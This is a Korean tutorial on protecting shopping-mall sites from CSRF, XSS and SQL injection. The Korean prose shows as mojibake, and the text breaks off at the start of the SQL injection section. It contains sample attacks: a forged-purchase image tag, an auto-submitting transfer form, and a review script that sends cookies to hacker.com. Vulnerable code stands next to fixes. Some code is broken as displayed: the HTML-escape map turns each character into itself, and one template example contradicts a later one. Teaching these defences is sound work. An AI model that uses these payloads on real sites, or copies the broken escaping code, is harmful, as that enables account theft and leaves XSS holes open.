Ver3.0 ๐ก๏ธ ์ผํ๋ชฐ ๋ณด์ ๊ฐํ ์๋ฒฝ ๊ฐ์ด๋

๐ก๏ธ ์ผํ๋ชฐ ๋ณด์ ๊ฐํ ์๋ฒฝ ๊ฐ์ด๋
CSRF, XSS, SQL Injection ๋ฐฉ์ด์ ๋ชจ๋ ๊ฒ
๐ฏ ์ ์ผํ๋ชฐ ๋ณด์์ด ์ด๋ ๊ฒ ์ค์ํ ๊น?
์๋
! ์ค๋์ ์ผํ๋ชฐ ๊ฐ๋ฐํ ๋ ์ ๋ ๋นผ๋จน์ผ๋ฉด ์ ๋๋ ๋ณด์ ์ด์ผ๊ธฐ๋ฅผ ํด๋ณผ๊ฒ. ๐
์์ฆ ์จ๋ผ์ธ ์ผํ๋ชฐ ํ๋ ์๋ ๊ธฐ์
์ด ์์์? ๊ทธ๋ฐ๋ฐ ๋ง์ด์ผ, ์ผํ๋ชฐ์ ๊ณ ๊ฐ์ ๊ฐ์ธ์ ๋ณด, ๊ฒฐ์ ์ ๋ณด, ์ฃผ๋ฌธ๋ด์ญ ๊ฐ์ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ๋ค๋ฃจ๊ธฐ ๋๋ฌธ์ ํด์ปค๋ค์ ์ฃผ์ ํ๊น์ด ๋๊ณค ํด.
์ค์ ๋ก 2023๋
ํ ํด์๋ง ๊ตญ๋ด์ธ์์ ์๋ฐฑ ๊ฑด์ ์ผํ๋ชฐ ํดํน ์ฌ๊ณ ๊ฐ ๋ฐ์ํ์ด. ๊ณ ๊ฐ ์ ๋ณด๊ฐ ์ ์ถ๋๋ฉด ๊ธฐ์
์ ๋ง๋ํ ์ํด๋ฐฐ์์ ๋ฌผ๋ก ์ด๊ณ , ๋ธ๋๋ ์ด๋ฏธ์ง์ ์น๋ช
ํ๋ฅผ ์
๊ฒ ๋์ง. ๐ธ
๊ทธ๋์ ์ค๋์ ์ผํ๋ชฐ ๊ฐ๋ฐ์๋ผ๋ฉด ๋ฐ๋์ ์์์ผ ํ 3๋ ๋ณด์ ์ํ์ธ CSRF, XSS, SQL Injection์ ๋ํด ์น๊ตฌ์ฒ๋ผ ํธํ๊ฒ ์ค๋ช
ํด์ค๊ฒ!
๐ฃ CSRF (Cross-Site Request Forgery) ๊ณต๊ฒฉ์ ๋ชจ๋ ๊ฒ
CSRF๋ 'ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ ์์กฐ'๋ผ๊ณ ๋ถ๋ฌ. ์ด๋ฆ์ด ์ข ์ด๋ ต์ง? ๐
์ฝ๊ฒ ๋งํ๋ฉด, ์ฌ์ฉ์๊ฐ ์๋ํ์ง ์์ ํ๋์ ๋ชฐ๋ ์คํ์ํค๋ ๊ณต๊ฒฉ์ด์ผ.
์๋ฅผ ๋ค์ด๋ณผ๊ฒ. ๋๊ฐ A์ผํ๋ชฐ์ ๋ก๊ทธ์ธํ ์ํ์์ ์ด๋ฉ์ผ์ ํ์ธํ๋ค๊ฐ ์์ํ ๋งํฌ๋ฅผ ํด๋ฆญํ์ด.
๊ทธ๋ฐ๋ฐ ๊ทธ ๋งํฌ๊ฐ ์ค์ ๋ก๋ A์ผํ๋ชฐ์ "์ํ 100๊ฐ ๊ตฌ๋งคํ๊ธฐ" ์์ฒญ์ ๋ณด๋ด๋ ์ฝ๋์๋ค๋ฉด?
๋๋ ๋ชจ๋ฅด๋ ์ฌ์ด์ ์์ฒญ๋ ๊ธ์ก์ด ๊ฒฐ์ ๋ ์ ์์ง! ๐ฑ
2๏ธโฃ ํด์ปค๊ฐ ๋ง๋ ์ ์ฑ ์ฌ์ดํธ ๋ฐฉ๋ฌธ
3๏ธโฃ ์ ์ฑ ์ฌ์ดํธ์์ ์๋์ผ๋ก ์ผํ๋ชฐ์ ์์ฒญ ์ ์ก
4๏ธโฃ ์ผํ๋ชฐ ์๋ฒ๋ ์ ์์ ์ธ ์ธ์ ์ฟ ํค๋ฅผ ํ์ธํ๊ณ ์์ฒญ ์ฒ๋ฆฌ
5๏ธโฃ ์ฌ์ฉ์ ๋ชฐ๋ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ, ์ํ ๊ตฌ๋งค, ์ ๋ณด ์์ ๋ฑ์ด ์คํ๋จ
CSRF ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ ์ด์ ๋ ๋ธ๋ผ์ฐ์ ๊ฐ ์๋์ผ๋ก ์ฟ ํค๋ฅผ ์ ์กํ๊ธฐ ๋๋ฌธ์ด์ผ.
์น ๋ธ๋ผ์ฐ์ ๋ ํน์ ๋๋ฉ์ธ์ ์์ฒญ์ ๋ณด๋ผ ๋, ๊ทธ ๋๋ฉ์ธ์ ์ ์ฅ๋ ์ฟ ํค๋ฅผ ์๋์ผ๋ก ํจ๊ป ๋ณด๋ด. ์ด๊ฑด ์ฌ์ฉ์ ํธ์๋ฅผ ์ํ ๊ธฐ๋ฅ์ธ๋ฐ, ํด์ปค๋ค์ด ์ด๊ฑธ ์
์ฉํ๋ ๊ฑฐ์ง.
๊ณต๊ฒฉ์๋ ๋ค์๊ณผ ๊ฐ์ ๋ฐฉ๋ฒ์ผ๋ก CSRF ๊ณต๊ฒฉ์ ์๋ํ ์ ์์ด:
1. ์ด๋ฏธ์ง ํ๊ทธ๋ฅผ ์ด์ฉํ ๊ณต๊ฒฉ
์ ์ฑ ์ฌ์ดํธ์ ์ด๋ฐ ์ฝ๋๋ฅผ ์จ๊ฒจ๋๋ ๊ฑฐ์ผ:
<img src="https://shopping.com/api/purchase?item=123&quantity=100" />
์ฌ์ฉ์๊ฐ ์ด ํ์ด์ง๋ฅผ ์ด๋ฉด ์ด๋ฏธ์ง๋ฅผ ๋ก๋ํ๋ ค๊ณ ํด๋น URL์ ์๋์ผ๋ก ์์ฒญ์ด ๊ฐ๊ฒ ๋ผ.2. ํผ ์๋ ์ ์ถ ๊ณต๊ฒฉ
JavaScript๋ก ํผ์ ์๋์ผ๋ก ์ ์ถํ๋ ๋ฐฉ๋ฒ:
<form id="malicious" action="https://shopping.com/api/transfer" method="POST">
<input type="hidden" name="amount" value="1000000" />
<input type="hidden" name="to" value="hacker_account" />
</form>
<script>
document.getElementById('malicious').submit();
</script>
3. AJAX ์์ฒญ์ ํตํ ๊ณต๊ฒฉ์ต๊ทผ์๋ fetch API๋ XMLHttpRequest๋ฅผ ์ฌ์ฉํ ๊ณต๊ฒฉ๋ ๋์ด๋๊ณ ์์ด.
์, ์ด์ ๋ณธ๊ฒฉ์ ์ผ๋ก CSRF๋ฅผ ๋ง๋ ๋ฐฉ๋ฒ๋ค์ ์์๋ณผ๊ฒ! ๐ช
์ฌ๋ฌ ๊ฐ์ง ๋ฐฉ๋ฒ์ด ์๋๋ฐ, ์ํฉ์ ๋ง๊ฒ ์กฐํฉํด์ ์ฌ์ฉํ๋ ๊ฒ ๊ฐ์ฅ ์ข์.
CSRF ํ ํฐ์ ์๋ฒ์์ ์์ฑํ ๋๋คํ ๊ฐ์ผ๋ก, ๊ฐ ์์ฒญ๋ง๋ค ํจ๊ป ์ ์ก๋์ด์ผ ํด.
ํด์ปค๋ ์ด ํ ํฐ ๊ฐ์ ์ ์ ์๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ์ด ์คํจํ๊ฒ ๋์ง!
๊ตฌํ ๋ฐฉ๋ฒ:
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
const app = express();
// CSRF ๋ณดํธ ๋ฏธ๋ค์จ์ด ์ค์
const csrfProtection = csrf({ cookie: true });
app.use(cookieParser());
app.use(csrfProtection);
// ํผ ๋ ๋๋ง ์ ํ ํฐ ์ ๋ฌ
app.get('/checkout', (req, res) => {
res.render('checkout', { csrfToken: req.csrfToken() });
});
// POST ์์ฒญ ์ฒ๋ฆฌ (์๋์ผ๋ก ํ ํฐ ๊ฒ์ฆ)
app.post('/purchase', csrfProtection, (req, res) => {
// ํ ํฐ์ด ์ ํจํ๋ฉด ์ด ์ฝ๋๊ฐ ์คํ๋จ
processPurchase(req.body);
res.json({ success: true });
});
<form action="/purchase" method="POST">
<input type="hidden" name="_csrf" value="<%= csrfToken %>" />
<input type="text" name="product_id" />
<button type="submit">๊ตฌ๋งคํ๊ธฐ</button>
</form>
fetch('/purchase', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
},
body: JSON.stringify({ product_id: 123 })
});
SameSite ์์ฑ์ ์ฟ ํค๊ฐ ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ์ ํฌํจ๋๋ ๊ฒ์ ์ ํํด.
์ด๊ฑด ๋น๊ต์ ์ต๊ทผ์ ๋์จ ๊ธฐ๋ฅ์ธ๋ฐ, ์ ๋ง ๊ฐ๋ ฅํด! ๐ฅ
// Strict: ๊ฐ์ฅ ์๊ฒฉ (๊ฐ์ ์ฌ์ดํธ์์๋ง ์ฟ ํค ์ ์ก)
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
// Lax: ์ค๊ฐ ์์ค (์ผ๋ถ ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ ํ์ฉ)
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax' // GET ์์ฒญ์ ํ์ฉ, POST๋ ์ฐจ๋จ
});
// None: ๋ชจ๋ ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ ํ์ฉ (secure ํ์)
res.cookie('tracking', trackingId, {
secure: true,
sameSite: 'none' // ๊ด๊ณ ์ถ์ ๋ฑ์ ์ฌ์ฉ
});
๐ก SameSite ์ต์
๋น๊ตStrict ๊ฐ์ฅ ์์ ํ์ง๋ง, ์ธ๋ถ ๋งํฌ๋ก ์ ์ ์ ๋ก๊ทธ์ธ ์ํ ์ ์ง ์ ๋จ
Lax ๋ณด์๊ณผ ์ฌ์ฉ์ฑ์ ๊ท ํ (๋๋ถ๋ถ์ ์ผํ๋ชฐ์ ์ถ์ฒ!)
None ํฌ๋ก์ค ์ฌ์ดํธ ๊ธฐ๋ฅ์ด ํ์ํ ๋๋ง ์ฌ์ฉ
์์ฒญ์ด ์ด๋์ ์๋์ง ํ์ธํ๋ ๋ฐฉ๋ฒ์ด์ผ.
ํ์ง๋ง ์ด ๋ฐฉ๋ฒ๋ง์ผ๋ก๋ ์ถฉ๋ถํ์ง ์์์ ๋ณด์กฐ ์๋จ์ผ๋ก ์ฌ์ฉํด์ผ ํด.
app.post('/api/purchase', (req, res) => {
const referer = req.get('Referer');
const allowedOrigins = [
'https://myshop.com',
'https://www.myshop.com'
];
// Referer๊ฐ ์๊ฑฐ๋ ํ์ฉ๋ ๋๋ฉ์ธ์ด ์๋๋ฉด ์ฐจ๋จ
if (!referer || !allowedOrigins.some(origin => referer.startsWith(origin))) {
return res.status(403).json({
error: 'Invalid request origin'
});
}
// ์ ์ ์ฒ๋ฆฌ
processPurchase(req.body);
res.json({ success: true });
});
โ ๏ธ ์ฃผ์์ฌํญ:์ผ๋ถ ๋ธ๋ผ์ฐ์ ๋ ๋ณด์ ์ค์ ์์ Referer ํค๋๋ฅผ ์ ๊ฑฐํ ์ ์์ด์ 100% ์ ๋ขฐํ๋ฉด ์ ๋ผ!
CSRF ํ ํฐ์ ์ฟ ํค์ ์์ฒญ ํ๋ผ๋ฏธํฐ ์์ชฝ์ ๋ชจ๋ ํฌํจ์ํค๋ ๋ฐฉ๋ฒ์ด์ผ.
์๋ฒ๋ ๋ ๊ฐ์ด ์ผ์นํ๋์ง ํ์ธํด.
// ํ ํฐ ์์ฑ ๋ฐ ์ฟ ํค ์ค์
const crypto = require('crypto');
function generateCSRFToken() {
return crypto.randomBytes(32).toString('hex');
}
app.get('/checkout', (req, res) => {
const token = generateCSRFToken();
// ์ฟ ํค์ ํ ํฐ ์ ์ฅ
res.cookie('csrf_token', token, {
httpOnly: false, // JavaScript์์ ์ฝ์ ์ ์์ด์ผ ํจ
secure: true,
sameSite: 'strict'
});
res.render('checkout', { csrfToken: token });
});
// ๊ฒ์ฆ ๋ฏธ๋ค์จ์ด
function validateCSRF(req, res, next) {
const cookieToken = req.cookies.csrf_token;
const headerToken = req.get('X-CSRF-Token') || req.body._csrf;
if (!cookieToken || !headerToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF token validation failed' });
}
next();
}
app.post('/purchase', validateCSRF, (req, res) => {
// ์์ ํ๊ฒ ์ฒ๋ฆฌ
processPurchase(req.body);
res.json({ success: true });
});
- โ๏ธ ๋ชจ๋ ์ํ ๋ณ๊ฒฝ ์์ฒญ(POST, PUT, DELETE)์ CSRF ํ ํฐ ์ ์ฉ
- โ๏ธ GET ์์ฒญ์ผ๋ก๋ ์ ๋ ๋ฐ์ดํฐ๋ฅผ ๋ณ๊ฒฝํ์ง ์๊ธฐ
- โ๏ธ SameSite ์ฟ ํค ์์ฑ์ 'Lax' ์ด์์ผ๋ก ์ค์
- โ๏ธ ์ค์ํ ์์ ์ ์ฌ์ธ์ฆ ์๊ตฌ (๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ, ๊ฒฐ์ ๋ฑ)
- โ๏ธ CORS ์ ์ฑ ์ฌ๋ฐ๋ฅด๊ฒ ์ค์
- โ๏ธ ์ ๊ธฐ์ ์ธ ๋ณด์ ํ ์คํธ ์ค์
๐ XSS (Cross-Site Scripting) ๊ณต๊ฒฉ ์๋ฒฝ ๋์
XSS๋ 'ํฌ๋ก์ค ์ฌ์ดํธ ์คํฌ๋ฆฝํ
'์ ์ฝ์์ผ. (์๋ CSS์ธ๋ฐ ์คํ์ผ์ํธ๋ ํท๊ฐ๋ ค์ XSS๋ผ๊ณ ๋ถ๋ฅธ๋ ๐)
๊ฐ๋จํ ๋งํ๋ฉด, ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์น ํ์ด์ง์ ์ฃผ์
ํด์ ๋ค๋ฅธ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์์ ์คํ์ํค๋ ๊ณต๊ฒฉ์ด์ผ.
์๋ฅผ ๋ค์ด, ์ผํ๋ชฐ ์ํ ๋ฆฌ๋ทฐ์ ์ด๋ฐ ๊ฑธ ์์ฑํ๋ค๊ณ ์๊ฐํด๋ด:
์ด ์ํ ์ ๋ง ์ข์์! <script>
// ์ฌ์ฉ์์ ์ฟ ํค๋ฅผ ํด์ปค ์๋ฒ๋ก ์ ์ก
fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>
์ด ๋ฆฌ๋ทฐ๋ฅผ ๋ค๋ฅธ ์ฌ์ฉ์๊ฐ ๋ณด๋ฉด, ๊ทธ ์ฌ์ฉ์์ ์ธ์
์ฟ ํค๊ฐ ํด์ปค์๊ฒ ์ ์ก๋๊ณ ,ํด์ปค๋ ๊ทธ ์ฟ ํค๋ก ํผํด์์ ๊ณ์ ์ ๋ก๊ทธ์ธํ ์ ์๊ฒ ๋ผ! ๐ฑ
XSS ๊ณต๊ฒฉ์ ํฌ๊ฒ 3๊ฐ์ง ํ์ ์ผ๋ก ๋๋์ด. ๊ฐ๊ฐ์ ํน์ง์ ์์์ผ ์ ๋๋ก ๋ง์ ์ ์์ด!
์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์๋ฒ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์ฅ๋๋ ํ์ ์ด์ผ.
๊ฒ์ํ, ๋๊ธ, ๋ฆฌ๋ทฐ ๋ฑ์ ์ ์ฑ ์ฝ๋๋ฅผ ์์ฑํ๋ฉด, ๊ทธ๊ฑธ ๋ณด๋ ๋ชจ๋ ์ฌ์ฉ์๊ฐ ํผํด๋ฅผ ์ ์ด.
๊ณต๊ฒฉ ์๋๋ฆฌ์ค:
1. ํด์ปค๊ฐ ์ํ ๋ฆฌ๋ทฐ์ ์ ์ฑ ์คํฌ๋ฆฝํธ ์์ฑ
2. ์๋ฒ๊ฐ ๊ฒ์ฆ ์์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์ฅ
3. ๋ค๋ฅธ ์ฌ์ฉ์๋ค์ด ์ํ ํ์ด์ง ๋ฐฉ๋ฌธ
4. ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ๋ชจ๋ ๋ฐฉ๋ฌธ์์ ๋ธ๋ผ์ฐ์ ์์ ์คํ
5. ์ธ์ ์ฟ ํค, ๊ฐ์ธ์ ๋ณด ๋ฑ์ด ํด์ปค์๊ฒ ์ ์ก๋จ
// ์ทจ์ฝํ ์ฝ๋
app.post('/review', (req, res) => {
const review = req.body.content; // ๊ฒ์ฆ ์์ด ๋ฐ๋ก ์ ์ฅ
db.query('INSERT INTO reviews (content) VALUES (?)', [review]);
res.redirect('/product');
});
// ์ทจ์ฝํ ํ
ํ๋ฆฟ ๋ ๋๋ง
<div class="review">
<%= review.content %> // ์ด์ค์ผ์ดํ ์์ด ์ถ๋ ฅ
</div>
์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ URL ํ๋ผ๋ฏธํฐ๋ ํผ ์ ๋ ฅ์ ํตํด ์ฆ์ ๋ฐ์ฌ๋์ด ์คํ๋๋ ํ์ ์ด์ผ.
์ฃผ๋ก ๊ฒ์ ๊ธฐ๋ฅ์ด๋ ์๋ฌ ๋ฉ์์ง์์ ๋ฐ์ํด.
๊ณต๊ฒฉ ์๋๋ฆฌ์ค:
1. ํด์ปค๊ฐ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋ URL ์์ฑ
2. ํผ์ฑ ์ด๋ฉ์ผ์ด๋ SNS๋ก ๋งํฌ ์ ํฌ
3. ์ฌ์ฉ์๊ฐ ๋งํฌ ํด๋ฆญ
4. ์๋ฒ๊ฐ URL ํ๋ผ๋ฏธํฐ๋ฅผ ๊ทธ๋๋ก ํ์ด์ง์ ์ถ๋ ฅ
5. ์ ์ฑ ์คํฌ๋ฆฝํธ ์คํ
// ์ทจ์ฝํ ๊ฒ์ ๊ธฐ๋ฅ
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>๊ฒ์ ๊ฒฐ๊ณผ: ${query}</h1>`); // ์ํ!
});
// ์
์ฑ URL
https://shop.com/search?q=<script>alert(document.cookie)</script>
์๋ฒ๋ฅผ ๊ฑฐ์น์ง ์๊ณ ํด๋ผ์ด์ธํธ ์ธก JavaScript์์ ๋ฐ์ํ๋ XSS์ผ.
์ต๊ทผ SPA(Single Page Application)๊ฐ ๋ง์์ง๋ฉด์ ์ด ์ ํ๋ ์ฆ๊ฐํ๊ณ ์์ด.
// ์ทจ์ฝํ ํด๋ผ์ด์ธํธ ์ฝ๋
const params = new URLSearchParams(window.location.search);
const username = params.get('user');
document.getElementById('welcome').innerHTML = `ํ์ํฉ๋๋ค, ${username}๋!`;
// ์
์ฑ URL
https://shop.com/?user=<img src=x onerror=alert(document.cookie)>
XSS๋ฅผ ๋ง๋ ๋ฐฉ๋ฒ์ ์ฌ๋ฌ ๊ฐ์ง๊ฐ ์์ด. ํ๋๋ง ์ฌ์ฉํ๋ ๊ฒ ์๋๋ผ ์ฌ๋ฌ ๋ฐฉ์ด์ธต์ ๋ง๋๋ ๊ฒ ์ค์ํด! ๐ก๏ธ
์ฌ์ฉ์ ์ ๋ ฅ์ ๋ฐ์ ๋ ๋ฐ๋์ ๊ฒ์ฆํ๊ณ ์ ์ ํด์ผ ํด!
const validator = require('validator');
const sanitizeHtml = require('sanitize-html');
app.post('/review', (req, res) => {
let content = req.body.content;
// 1. ๊ธฐ๋ณธ ๊ฒ์ฆ
if (!content || content.length > 1000) {
return res.status(400).json({ error: '๋ฆฌ๋ทฐ ๋ด์ฉ์ด ์ฌ๋ฐ๋ฅด์ง ์์ต๋๋ค' });
}
// 2. HTML ํ๊ทธ ์ ๊ฑฐ ๋๋ ํ์ฉ๋ ํ๊ทธ๋ง ๋จ๊ธฐ๊ธฐ
content = sanitizeHtml(content, {
allowedTags: ['b', 'i', 'em', 'strong', 'p', 'br'],
allowedAttributes: {},
disallowedTagsMode: 'escape'
});
// 3. ์ถ๊ฐ ๊ฒ์ฆ (์คํฌ๋ฆฝํธ ํจํด ์ฒดํฌ)
const dangerousPatterns = [
/<script/i,
/javascript:/i,
/on\w+\s*=/i, // onclick, onerror ๋ฑ
/<iframe/i
];
for (const pattern of dangerousPatterns) {
if (pattern.test(content)) {
return res.status(400).json({ error: 'ํ์ฉ๋์ง ์๋ ๋ด์ฉ์ด ํฌํจ๋์ด ์์ต๋๋ค' });
}
}
// 4. ์์ ํ๊ฒ ์ ์ฅ
db.query('INSERT INTO reviews (content) VALUES (?)', [content]);
res.json({ success: true });
});
from django.utils.html import escape, strip_tags
import bleach
def save_review(request):
content = request.POST.get('content', '')
# HTML ํ๊ทธ ์ ๊ฑฐ
content = strip_tags(content)
# ๋๋ ํ์ฉ๋ ํ๊ทธ๋ง ๋จ๊ธฐ๊ธฐ
content = bleach.clean(
content,
tags=['b', 'i', 'em', 'strong', 'p', 'br'],
attributes={},
strip=True
)
# ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์ฅ
Review.objects.create(content=content)
๋ฐ์ดํฐ๋ฅผ ํ๋ฉด์ ์ถ๋ ฅํ ๋ ๋ฐ๋์ ์ด์ค์ผ์ดํ ์ฒ๋ฆฌํด์ผ ํด!
์ด๊ฒ XSS ๋ฐฉ์ด์ ํต์ฌ์ด์ผ. ๐
<!-- EJS (Node.js) -->
<!-- ์์ ํ ๋ฐฉ๋ฒ (์๋ ์ด์ค์ผ์ดํ) -->
<div><%= userInput %></div>
<!-- ์ํํ ๋ฐฉ๋ฒ (์ด์ค์ผ์ดํ ์ ํจ) -->
<div><%- userInput %></div> // ์ ๋ ์ฌ์ฉ ๊ธ์ง!
<!-- Handlebars -->
<!-- ์์ ํ ๋ฐฉ๋ฒ -->
<div>{{userInput}}</div>
<!-- ์ํํ ๋ฐฉ๋ฒ -->
<div>{{{userInput}}}</div> // ์ผ์ค ์ค๊ดํธ๋ ์ํ!
<!-- Jinja2 (Python) -->
<!-- ์์ ํ ๋ฐฉ๋ฒ (๊ธฐ๋ณธ๊ฐ) -->
<div>{{ user_input }}</div>
<!-- ์ํํ ๋ฐฉ๋ฒ -->
<div>{{ user_input | safe }}</div> // safe ํํฐ ์ฃผ์!
// โ ์ํํ ๋ฐฉ๋ฒ
element.innerHTML = userInput;
// โ
์์ ํ ๋ฐฉ๋ฒ 1: textContent ์ฌ์ฉ
element.textContent = userInput;
// โ
์์ ํ ๋ฐฉ๋ฒ 2: ์๋ ์ด์ค์ผ์ดํ
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return text.replace(/[&<>"'/]/g, char => map[char]);
}
element.innerHTML = escapeHtml(userInput);
// โ
์์ ํ ๋ฐฉ๋ฒ 3: DOMPurify ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฌ์ฉ
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
CSP๋ ๋ธ๋ผ์ฐ์ ์๊ฒ "์ด๋ค ์์ค์ ์คํฌ๋ฆฝํธ๋ง ์คํํ ์ง" ์๋ ค์ฃผ๋ ๊ฐ๋ ฅํ ๋ณด์ ํค๋์ผ!
XSS ๊ณต๊ฒฉ์ ๋ง๋ ์ตํ์ ๋ฐฉ์ด์ ์ด๋ผ๊ณ ํ ์ ์์ง. ๐ก๏ธ
const helmet = require('helmet');
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"], // ๊ธฐ๋ณธ์ ์ผ๋ก ๊ฐ์ ๋๋ฉ์ธ๋ง ํ์ฉ
scriptSrc: [
"'self'", // ์์ฒด ๋๋ฉ์ธ
"'nonce-{random}'", // nonce ๊ธฐ๋ฐ ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ
"https://cdn.trusted.com" // ์ ๋ขฐํ ์ ์๋ CDN
],
styleSrc: ["'self'", "'unsafe-inline'"], // ์คํ์ผ์ ์ธ๋ผ์ธ ํ์ฉ
imgSrc: ["'self'", "data:", "https:"], // ์ด๋ฏธ์ง ์์ค
connectSrc: ["'self'", "https://api.myshop.com"], // AJAX ์์ฒญ
fontSrc: ["'self'", "https://fonts.gstatic.com"],
objectSrc: ["'none'"], // ํ๋ฌ๊ทธ์ธ ์ฐจ๋จ
mediaSrc: ["'self'"],
frameSrc: ["'none'"], // iframe ์ฐจ๋จ
upgradeInsecureRequests: [] // HTTP๋ฅผ HTTPS๋ก ์๋ ์
๊ทธ๋ ์ด๋
}
})
);
// Nonce ๊ธฐ๋ฐ ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ ์ฌ์ฉ
app.get('/page', (req, res) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader(
'Content-Security-Policy',
`script-src 'self' 'nonce-${nonce}'`
);
res.render('page', { nonce });
});
<!-- ํ์ฉ๋๋ ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ -->
<script nonce="<%= nonce %>">
console.log('This is safe!');
</script>
<!-- nonce๊ฐ ์์ผ๋ฉด ์คํ ์ ๋จ -->
<script>
alert('This will be blocked!');
</script>
๐ก CSP ๋ ๋ฒจ๋ณ ์ค์ ์์๊ธฐ๋ณธ ๊ฐ์ ๋๋ฉ์ธ๋ง ํ์ฉ
Content-Security-Policy: default-src 'self'
์ค๊ธ ํน์ CDN ํ์ฉContent-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net
๊ณ ๊ธ Nonce ๊ธฐ๋ฐ + ๋ฆฌํฌํ
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; report-uri /csp-report
์ธ์ ์ฟ ํค์ ์ ์ ํ ํ๋๊ทธ๋ฅผ ์ค์ ํ๋ฉด XSS๋ก ์ฟ ํค๋ฅผ ํ์ทจ๋นํ๋ ๊ฑธ ๋ง์ ์ ์์ด!
// Node.js/Express
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true, // JavaScript๋ก ์ฟ ํค ์ ๊ทผ ๋ถ๊ฐ
secure: true, // HTTPS์์๋ง ์ ์ก
sameSite: 'strict', // CSRF ๋ฐฉ์ด
maxAge: 3600000 // 1์๊ฐ
}
}));
// ์๋ ์ฟ ํค ์ค์
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000
});
ํ๋๊ทธ ์ค๋ช
:๐ httpOnly: JavaScript์์ document.cookie๋ก ์ ๊ทผ ๋ถ๊ฐ
๐ secure: HTTPS ์ฐ๊ฒฐ์์๋ง ์ฟ ํค ์ ์ก
๐ sameSite: ํฌ๋ก์ค ์ฌ์ดํธ ์์ฒญ ์ ์ฟ ํค ์ ์ก ์ ํ
ํ๋์ ์ธ ์น ํ๋ ์์ํฌ๋ค์ XSS ๋ฐฉ์ด ๊ธฐ๋ฅ์ ๋ด์ฅํ๊ณ ์์ด.
์ด๊ฑธ ์ ๋๋ก ํ์ฉํ๋ ๊ฒ ์ค์ํด!
// โ
์์ (์๋์ผ๋ก ์ด์ค์ผ์ดํ๋จ)
function ProductReview({ review }) {
return <div>{review.content}</div>;
}
// โ ์ํ (dangerouslySetInnerHTML ์ฌ์ฉ ์)
function ProductReview({ review }) {
return (
<div dangerouslySetInnerHTML={{ __html: review.content }} />
);
}
// โ
์์ ํ๊ฒ HTML ๋ ๋๋งํ๋ ค๋ฉด DOMPurify ์ฌ์ฉ
import DOMPurify from 'dompurify';
function ProductReview({ review }) {
const cleanContent = DOMPurify.sanitize(review.content);
return (
<div dangerouslySetInnerHTML={{ __html: cleanContent }} />
);
}
<!-- โ
์์ (์๋ ์ด์ค์ผ์ดํ) -->
<div>{{ review.content }}</div>
<!-- โ ์ํ (v-html ์ฌ์ฉ ์) -->
<div v-html="review.content"></div>
<!-- โ
์์ ํ๊ฒ ์ฌ์ฉํ๋ ค๋ฉด -->
<div v-html="sanitizedContent"></div>
<script>
import DOMPurify from 'dompurify';
export default {
computed: {
sanitizedContent() {
return DOMPurify.sanitize(this.review.content);
}
}
}
</script>
- โ๏ธ ๋ชจ๋ ์ฌ์ฉ์ ์ ๋ ฅ์ ์ ๋ขฐํ์ง ์๊ธฐ
- โ๏ธ ์ถ๋ ฅ ์ ํญ์ ์ด์ค์ผ์ดํ ์ฒ๋ฆฌ
- โ๏ธ innerHTML ๋์ textContent ์ฌ์ฉ
- โ๏ธ CSP ํค๋ ์ค์
- โ๏ธ HttpOnly, Secure ์ฟ ํค ํ๋๊ทธ ์ฌ์ฉ
- โ๏ธ ํ๋ ์์ํฌ์ ๋ณด์ ๊ธฐ๋ฅ ํ์ฉ
- โ๏ธ ์ ๊ธฐ์ ์ธ ๋ณด์ ์ค์บ ์ค์
- โ๏ธ ์จ๋ํํฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ต์ ๋ฒ์ ์ ์ง
๐๏ธ SQL Injection ๊ณต๊ฒฉ๊ณผ ์๋ฒฝ ๋ฐฉ์ด
SQL Injection์ ์
์์ ์ธ SQL ์ฟผ๋ฆฌ๋ฅผ ์ฃผ์
ํด์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์กฐ์ํ๋ ๊ณต๊ฒฉ์ด์ผ.
์ผํ๋ชฐ์์ ๊ฐ์ฅ ์น๋ช
์ ์ธ ๊ณต๊ฒฉ ์ค ํ๋์ธ๋ฐ, ์ ์ฒด ๊ณ ๊ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ํต์งธ๋ก ์ ์ถ๋ ์ ์๊ฑฐ๋ ! ๐ฑ
OWASP(Open Web Application Security Project)์์ ๋งค๋
